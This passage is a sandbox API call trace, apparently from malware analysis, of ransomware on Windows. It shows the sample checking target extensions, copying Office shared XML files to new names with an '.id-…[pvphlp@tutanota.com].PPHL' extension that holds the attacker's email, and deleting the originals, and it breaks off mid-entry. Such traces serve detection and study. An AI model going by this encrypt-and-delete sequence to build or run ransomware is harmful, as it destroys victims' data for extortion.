lstrlenW (lpString=".xlsx") returned 5 [0073.389] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.389] lstrlenW (lpString=".ppt") returned 4 [0073.389] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.389] lstrlenW (lpString=".zip") returned 4 [0073.389] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.389] lstrlenW (lpString=".rar") returned 4 [0073.389] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString=".bz2") returned 4 [0073.389] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString=".7z") returned 3 [0073.389] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.389] lstrlenW (lpString=".dbf") returned 4 [0073.389] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.389] lstrlenW (lpString=".1cd") returned 4 [0073.389] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.389] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.389] lstrlenW (lpString=".jpg") returned 4 [0073.390] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.390] lstrlenW (lpString=".doc") returned 4 [0073.390] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString=".docx") returned 5 [0073.390] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.390] lstrlenW (lpString=".pdf") returned 4 [0073.390] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString=".xls") returned 4 [0073.390] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString=".xlsx") returned 5 [0073.390] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.390] lstrlenW (lpString=".ppt") returned 4 [0073.390] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.390] lstrlenW (lpString=".zip") returned 4 [0073.390] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.390] lstrlenW (lpString=".rar") returned 4 [0073.390] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString=".bz2") returned 4 [0073.390] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString=".7z") returned 3 [0073.390] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.390] lstrlenW (lpString=".dbf") returned 4 [0073.390] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.390] lstrlenW (lpString=".1cd") returned 4 [0073.390] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\SETUP.XML") returned 101 [0073.390] lstrlenW (lpString=".jpg") returned 4 [0073.390] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.391] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.391] lstrlenW (lpString="VisioMUI.XML") returned 12 [0073.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.391] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=9503) returned 1 [0073.392] CloseHandle (hObject=0x1f0) returned 1 [0073.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0073.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.392] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.392] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0073.764] GetLastError () returned 0x0 [0073.764] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x251f, lpOverlapped=0x0) returned 1 [0073.788] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0073.797] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.797] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0073.797] SetEndOfFile (hFile=0x1ac) returned 1 [0073.797] CloseHandle (hObject=0x1ac) returned 1 [0073.798] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.798] SetEndOfFile (hFile=0x1f0) returned 1 [0073.798] CloseHandle (hObject=0x1f0) returned 1 [0073.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.799] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0073.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.799] lstrlenW (lpString=".doc") returned 4 [0073.799] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.799] lstrlenW (lpString=".docx") returned 5 [0073.799] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.799] lstrlenW (lpString=".pdf") returned 4 [0073.799] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.799] lstrlenW (lpString=".xls") returned 4 [0073.799] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.799] lstrlenW (lpString=".xlsx") returned 5 [0073.799] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.799] lstrlenW (lpString=".ppt") returned 4 [0073.799] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.799] lstrlenW (lpString=".zip") returned 4 [0073.799] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.800] lstrlenW (lpString=".rar") returned 4 [0073.800] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString=".bz2") returned 4 [0073.800] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString=".7z") returned 3 [0073.800] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.800] lstrlenW (lpString=".dbf") returned 4 [0073.800] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.800] lstrlenW (lpString=".1cd") returned 4 [0073.800] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.800] lstrlenW (lpString=".jpg") returned 4 [0073.800] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.800] lstrlenW (lpString=".doc") returned 4 [0073.800] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString=".docx") returned 5 [0073.800] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0073.800] lstrlenW (lpString=".pdf") returned 4 [0073.800] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString=".xls") returned 4 [0073.800] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString=".xlsx") returned 5 [0073.800] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0073.800] lstrlenW (lpString=".ppt") returned 4 [0073.800] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.800] lstrlenW (lpString=".zip") returned 4 [0073.800] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.801] lstrlenW (lpString=".rar") returned 4 [0073.801] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.801] lstrlenW (lpString=".bz2") returned 4 [0073.801] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.801] lstrlenW (lpString=".7z") returned 3 [0073.801] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.801] lstrlenW (lpString=".dbf") returned 4 [0073.801] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.801] lstrlenW (lpString=".1cd") returned 4 [0073.801] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0073.801] lstrlenW (lpString=".jpg") returned 4 [0073.801] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.801] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.801] lstrlenW (lpString="DATES.XML") returned 9 [0073.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.802] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=8918) returned 1 [0073.802] CloseHandle (hObject=0x1f0) returned 1 [0073.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0073.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.802] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.802] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.802] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0073.805] GetLastError () returned 0x0 [0073.805] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0073.807] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0073.808] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.808] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.808] SetEndOfFile (hFile=0x1ac) returned 1 [0073.808] CloseHandle (hObject=0x1ac) returned 1 [0073.809] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.809] SetEndOfFile (hFile=0x1f0) returned 1 [0073.809] CloseHandle (hObject=0x1f0) returned 1 [0073.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.810] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0073.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.810] lstrlenW (lpString=".doc") returned 4 [0073.810] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.810] lstrlenW (lpString=".docx") returned 5 [0073.810] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0073.810] lstrlenW (lpString=".pdf") returned 4 [0073.810] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.810] lstrlenW (lpString=".xls") returned 4 [0073.810] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.810] lstrlenW (lpString=".xlsx") returned 5 [0073.810] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0073.810] lstrlenW (lpString=".ppt") returned 4 [0073.810] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.810] lstrlenW (lpString=".zip") returned 4 [0073.810] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.811] lstrlenW (lpString=".rar") returned 4 [0073.811] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString=".bz2") returned 4 [0073.811] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString=".7z") returned 3 [0073.811] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.811] lstrlenW (lpString=".dbf") returned 4 [0073.811] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.811] lstrlenW (lpString=".1cd") returned 4 [0073.811] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.811] lstrlenW (lpString=".jpg") returned 4 [0073.811] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.811] lstrlenW (lpString=".doc") returned 4 [0073.811] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString=".docx") returned 5 [0073.811] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0073.811] lstrlenW (lpString=".pdf") returned 4 [0073.811] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString=".xls") returned 4 [0073.811] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString=".xlsx") returned 5 [0073.811] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0073.811] lstrlenW (lpString=".ppt") returned 4 [0073.811] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.811] lstrlenW (lpString=".zip") returned 4 [0073.811] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.812] lstrlenW (lpString=".rar") returned 4 [0073.812] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.812] lstrlenW (lpString=".bz2") returned 4 [0073.812] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.812] lstrlenW (lpString=".7z") returned 3 [0073.812] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.812] lstrlenW (lpString=".dbf") returned 4 [0073.812] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.812] lstrlenW (lpString=".1cd") returned 4 [0073.812] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0073.812] lstrlenW (lpString=".jpg") returned 4 [0073.812] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.812] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.812] lstrlenW (lpString="PHONE.XML") returned 9 [0073.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.813] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1844) returned 1 [0073.813] CloseHandle (hObject=0x1f0) returned 1 [0073.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0073.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0073.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.813] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0073.813] GetLastError () returned 0x0 [0073.813] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x734, lpOverlapped=0x0) returned 1 [0073.815] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x740, lpOverlapped=0x0) returned 1 [0073.817] ReadFile (in: hFile=0x1f0, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.817] WriteFile (in: hFile=0x1ac, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.817] SetEndOfFile (hFile=0x1ac) returned 1 [0073.817] CloseHandle (hObject=0x1ac) returned 1 [0073.817] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.817] SetEndOfFile (hFile=0x1f0) returned 1 [0073.818] CloseHandle (hObject=0x1f0) returned 1 [0073.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.818] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: 